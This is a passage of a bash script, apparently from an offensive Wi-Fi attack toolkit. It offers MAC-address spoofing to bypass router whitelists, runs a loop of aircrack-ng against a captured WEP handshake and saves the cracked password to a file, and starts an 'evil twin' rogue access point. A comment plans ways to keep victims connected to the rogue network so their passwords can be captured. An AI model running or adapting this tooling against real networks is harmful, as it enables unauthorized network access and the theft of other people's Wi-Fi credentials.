echo -e "$Cyan 2)Change The MAC Adress To A Client MAC (Against white-list Of Routers) "
choise "{Probalk}"
read -p " Enter The Number Of Your Choise :" macoption
if [ "$macoption" == "1" ] ; then
randmac
elif [ "$macoption" == "2" ] ; then
macclient
else
echo -e "Wrong Choise"
fi
}
sleepandkil2(){
sleep 30
kill $pid9 2>/dev/null
}
loopaiwep(){
w=0
while [ $w = 0 ] ; do
xterm -hold -geometry "70x30+300+0" -bg "#000000" -fg "#20C20E" -title " Aircrack-ng " -e "aircrack-ng -b $mssid wephand-01.cap -l $resultpath/PASSWORD-OF-WIFI-CRACKED-evilTWIN.txt" & pid9=$!
PID_9=" $pid9";
sleepandkil2 & pid10=$!
PID_10=" $pid10";
wait $PID_9 $PID_10
sleep 5
done
}
evil_twin_wep (){
iwconfig $nameintc channel $ch
defstartsoyalk
choise "{select second interface}"
echo -e "$Green NEXT VERSION WE WILL TRY TO REDUCE THE SUFFICIENT TIME BY INCRYSING DATA TRANSMITION... WE THINK ALSO TO MADE CAPTIVE PORTAL INSTEAD OR CONNECT IT WITH INTERNET TO LET THE CLIENT STAY MORE TIME IN OUR NETWORK SO WE CAN BRUTEFORCE IVS AN SEE TRYED PASSWORD.WILL ALSO TRY TO MAKE THE ACCES POINT ACCESIBLE JUST FOR THE CLIENTS THAT ARE CONNECTED BEFORE WITH THE ORIGINAL ACCES POINT SO THAT WE INCREASE THE POSIBILITY OF GET THE CORRECT PASSWORD"
nameint=`echo -e "$Green Choose $BPurple The Second interface $Green You want $BRed To $Green Use : "`
defstartsoyalk
echo $nameint
choise "{Interfaces}"
echo -e " $BRed Interface $Green Chipset $Yellow Driver"
intn=`./airmon.sh | grep -c "-"`
readarray -t wirelessifaces < <(./airmon.sh |grep "-" | cut -d- -f1)
if [ "$intn" -gt "0" ]; then
if [ "$intn" -eq "1" ]; then
line1=$wirelessifaces